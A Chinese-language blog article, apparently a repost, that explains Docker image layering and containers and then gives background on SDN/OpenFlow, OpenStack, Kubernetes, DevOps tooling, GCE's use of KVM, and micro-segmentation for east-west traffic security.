Docker 镜像是一个特殊的文件系统,除了提供容器运行时所需的程序、库、资源、配置等文件外,还包含了一些为运行时准备的一些配置参数(如匿名卷、环境变量、用户等)。

镜像不包含任何动态数据,其内容在构建之后也不会被改变。

Docker 设计时,就充分利用 Union FS 的技术,将其设计为分层存储的架构。 镜像实际是由多层文件系统联合组成。

镜像构建时,会一层层构建,前一层是后一层的基础。每一层构建完就不会再发生改变,后一层上的任何改变只发生在自己这一层。

比如,删除前一层文件的操作,实际不是真的删除前一层的文件,而是仅在当前层标记为该文件已删除。

在最终容器运行的时候,虽然不会看到这个文件,但是实际上该文件会一直跟随镜像。

因此,在构建镜像的时候,需要额外小心,每一层尽量只包含该层需要添加的东西,任何额外的东西应该在该层构建结束前清理掉。

分层存储的特征还使得镜像的复用、定制变的更为容易。甚至可以用之前构建好的镜像作为基础层,然后进一步添加新的层,以定制自己所需的内容,构建新的镜像。
在这里插入图片描述

容器和镜像的区别就在于,所有的镜像都是只读的,而每一个容器其实等于镜像加上一个可读写的层,也就是同一个镜像可以对应多个容器。

镜像(Image)和容器(Container)的关系,就像是面向对象程序设计中的类和实例一样,镜像是静态的定义,容器是镜像运行时的实体。容器可以被创建、启动、停止、删除、暂停等 。

容器的实质是进程,但与直接在宿主执行的进程不同,容器进程运行于属于自己的独立的命名空间。前面讲过镜像使用的是分层存储,容器也是如此。

容器存储层的生存周期和容器一样,容器消亡时,容器存储层也随之消亡。因此,任何保存于容器存储层的信息都会随容器删除而丢失。

按照 Docker 最佳实践的要求,容器不应该向其存储层内写入任何数据 ,容器存储层要保持无状态化。

所有的文件写入操作,都应该使用数据卷(Volume)、或者绑定宿主目录,在这些位置的读写会跳过容器存储层,直接对宿主(或网络存储)发生读写,其性能和稳定性更高。

数据卷的生存周期独立于容器,容器消亡,数据卷不会消亡。因此, 使用数据卷后,容器可以随意删除、重新 run,数据却不会丢失。

6. 背景知识

6.1 sdn & openflow

SDN(Software Defined Network)即软件定义网络,是一种网络设计理念,或者一种推倒重来的设计思想。只要网络硬件可以集中式软件管理,可编程化,控制转发层面分开,则可以认为这个网络是一个SDN网络。所以说,SDN并不是一个具体的技术,不是一个具体的协议,而是一个思想、一个框架。狭义的SDN是指的“软件定义网络”,广义的SDN的概念还延伸出了:软件定义安全、软件定义存储等等。可以说,SDN是一个浪潮,席卷整个IT产业。

「大物移云」的时代已经到来,传统的底层网络架构已经无法满足人类的需求,设备繁杂配置麻烦迭代缓慢,各种问题层出不穷。下一代网络,需要可编程按需定制、集中式统一管理、动态流量监管、自动化部署等,这就是SDN的出发点。

SDN(软件定义网络)是一个概念,结合NFV(Network Functions Virtualization 网络功能虚拟化),实现了所有网络架构的大一统,是互联网的颠覆性架构。
SDN的核心思想:把网络上所有的信息都集中到一个核心控制器(Controller)上处理,控制器可以针对信息编程,直接处理整体网络的逻辑。此时控制器全知全能,它知道任何事,可以实现任何协议,对于网络来说,控制器就是上帝。SDN的核心优势:逻辑简单。扩展性无与伦比,写新协议非常快,可以闪电般的完成下一代的网络进化。麻麻说我再也不用考虑STP、OSPF、TRILL、BGP这些乱七八糟的协议了……
SDN更多优势:你可以切分网络平面来做数据隔离;你可以引入CDN思想来提高性能;你可以针对Controller数据编写DPI的app;你可以在上面玩机器学习;这都是传统网络比不了的。OpenFlow是一个标准,也即SDN的具体实践,做法很简单,将所有的报文抽出关键字段,抽象为流(flow),而所有流都交给Controller控制。

6.2 openstack

OpenStack从一开始,就是为了云计算服务的。简单来说,它就是一个操作系统,一套软件,一套IaaS软件。
在这里插入图片描述

管理“基础设施资源”,便于用户调用和使用,是OpenStack的首要任务。

基础设施资源,主要包括三个方面:计算、存储、网络。说通俗点,就是CPU,硬盘,网卡。
在这里插入图片描述

华为的FusionSphere平台和中兴的TECS平台,都是基于OpenStack进行二次开发的商业系统。这些平台都已经被自家的核心网和云计算产品采用,目前处于替代传统平台的阶段。

这里要特别强调一下,虽然OpenStack是云计算技术,主要是IT的概念,但对于通信行业来说极为重要。

通信网络中的核心网,已经全面开始了向虚拟化和云计算的演进。小枣君之前就介绍过,现在通信行业里火热的NFV技术,就是基于虚拟化的,采用了IT里面的很多理念和设计。

6.3 Kubernetes

Kubernetes 能在实体机或虚拟机集群上调度和运行程序容器。

Kubernetes 这个单词来自于希腊语,含义是 舵手 或 领航员 。其词根是 governor 和 cybernetic。 K8s 是它的缩写,用 8 字替代了“ubernete”。

使用 Kubernetes,你可以快速、高效地满足用户以下的需求:

快速精准地部署应用程序
即时伸缩你的应用程序
无缝展现新特征
限制硬件用量仅为所需资源

6.4 DevOps

DevOps 一词的来自于 Development 和 Operations 的组合,突出重视软件开发人员和运维人员的沟通合作,通过自动化流程来使得软件构建、测试、发布更加快捷、频繁和可靠。

DevOps 其实包含了三个部分:开发、测试和运维。换句话 DevOps 希望做到的是软件产品交付过程中IT工具链的打通,使得各个团队减少时间损耗,更加高效地协同工作。

DevOps平台的搭建可通过如下工具进行实现:

平台项目管理(PM):Jira
代码管理:GitLab
持续集成(CI):GitLab CI
镜像仓库:VMware Harbor
容器:Docker
容器平台: Rancher
镜像扫描:Clairctl
编排:Kubernetes
服务注册与发现:etcd
脚本语言:python
日志管理:EFK
系统监控:prometheusWeb
服务器:Nginx
数据库:MySQL redis
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14

6.5 Kubernetes和OpenStack到底是什么关系?

kubernetes是管理container的工具,openstack是管理VM的工具。

container可以运行在物理机上,也可以运行在VM上。所以kubernetes不是需要openstack的支持。但对于云计算来说,很多IasS都通过openstack来管理虚拟机。然后用户可以在这些虚拟机上运行docker,可以通过kubernetes进行管理。

Kubernetes 面向应用层,变革的是业务架构,而 OpenStack 面向资源层,改变的是资源供给模式。

  • 使用容器且集群规模不大,直接用 Kubenetes 就可以;
  • 集群规模大,不管应用是否只是跑在容器中,都是 OpenStack + Kubernetes 更好。

OpenStack + Kubernetes 是各取所长,并不只是因为惯性,而是对于多租户需求来说,Container(容器)的隔离性还需要加强,需要加一层 VM(虚拟机) 来弥补,而 OpenStack 是很好的方案。不过,VM + Container 的模式,必然有性能的损耗,所以 OpenStack 基金会也推出一个项目叫 Kata Containers,希望减少虚拟化的开销,兼顾容器的性能和隔离性。

永恒的只有变化,未来的业务都会运行在云上,容器是走向 DevOps、Cloud Native(云原生)的标准工具,已经开始走向平凡,而 Kubernetes 的编排能力,让容器能够落地到业务应用中,所以我们看到 Docker、Mesos、OpenStack 以及很多公有云、私有云服务商,都在支持 Kubernetes,大家都加入了 CNCF(云原生计算基金会)。总结起来,OpenStack 是兼容传统的架构,而 Kubernetes 是面向未来的架构。
最后,计算开源云这几年发展很快,从这个问题提出到现在,社区又有了很多变化。所以要修正一个观点:Kubernetes 支持的容器运行时不仅仅是 Docker,也包括 Rkt,当然 Docker 更加流行。

不过kubernetes虽然是开源的,但它毕竟是为GCE服务的,Google其实并没有多少动力去支持其他平台的。

虚拟化技术在GCP(Google Cloud Platform)的应用:

Google Compute Engine(GCE,Google计算引擎)是Google云平台的基础设施即服务(IaaS)组件,它建立在运行Google搜索引擎、Gmail、YouTube和其他服务的全球基础设施之上。GCE允许用户按需启动虚拟机(VMs),VMs可以从用户创建的标准图镜像或自定义镜像启动。

  • GCE采用KVM作为其虚拟机的VMM/Hypervisor,KVM(Kernel-based Virtual Machine)是一个完全虚拟化方案,同时包含了CPU硬件提供的虚拟化技术扩展(IntelVT或AMD-V),适用于x86硬件上的Linux。可加载的内核模块(kvm.ko,intel的是kvm-intel.ko,amd的是kvm-amd.ko)提供核心虚拟化基础架构。使用KVM,可以运行多个含有未经修改的Linux或Windows Guest OS的虚拟机,每个虚拟机都有专用的虚拟硬件:网卡、磁盘、图形适配器等。

  • 通过K8s容器编排系统在VMs之上部署多个容器,一方面可以快速启动程序(容器比虚拟机启动时间要小很多),二是可以有效降低虚拟机的额外负载(容器可以部署多个,虚拟机则只能部署少量的),三是可以实现容器的自动升级、节点修复、自动扩缩容等特性。

6.6 Micro-segmentation

微分段(Micro-segmentation)是随着MFV网络虚拟化提出的一种安全技术,通过应用该技术,能够提供在工作负载级别(workload level)上使能精细安全策略控制来保障用户业务安全。使用微分段技术的一个显著好处就是能够将安全能力集成到虚拟化工作负载中,无须硬件设备(硬件防火墙)介入,也意味着将安全策略集成到虚拟网络(virtual network)、虚拟主机(VM)、操作系统以及其他虚拟安全实例中来提供安全。

简单来看,就是利用switch将多个节点从一个冲突域中隔离开来,组成多个由一个node和switch组成的冲突域,从而保证每个node独享带宽。只从定义上来看,和安全基本上没有多大关系。

图左边,传统的数据中心流量防护问题不大但针对NFV虚拟化网络中的东西向流量安全防护,就会面临比较大的问题:
同一个VLAN中承载不同的业务负载,在内部安全设备无法识别出不同的workload
如果想要保护Finance的业务,需要在多个VLAN中设置安全策略(DB VLAN,APP VLAN,DMZ/WEB VLAN)
负载间不具备隔离性,如果HR的数据库服务被感染,同一个VLAN中Finance DB 也会被感染,从而扩展到整个网络
不具备持久性和可扩展性,当某个workload中增加一个VLAN时,还需要在该VLAN中添加安全策略

图右边,来看看应用了微分段技术后的网络架构,首先会根据不同的业务来进行分段(Segmentation),不同的workload根据需要将需要的服务逻辑划分到该子网中。同时,在virtual NIC, VM, OS等多个实体上集成安全能力,从而提供针对NFV网络的东西向流量防护,解决传统网络中出现的问题。

参考资料

1.neuvector
2.一文了解 Kubernetes 是什么?
3.Docker与KVM之间的区别
4.从虚拟机到容器,详谈各种服务虚拟化技术及其应用场景
5.浅析Micro Segmentation在安全中的应用
6.SDN 是什么?
7.OpenStack入门科普
8.Kubernetes和OpenStack到底是什么关系?
9.京东从OpenStack切换到Kubernetes的经验之谈
10.七个用于Docker和Kubernetes防护的安全工具
11.Docker安全入门与实战(一)
12.Docker安全入门与实战(二)
13.Docker安全入门与实战(三)
14.Docker安全入门与实战(四)
15.如何打造安全的容器云平台
16.Linux namespace概述
17.Docker 核心技术与实现原理

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/知新_RL/article/detail/867966
推荐阅读
相关标签
  

闽ICP备14008679号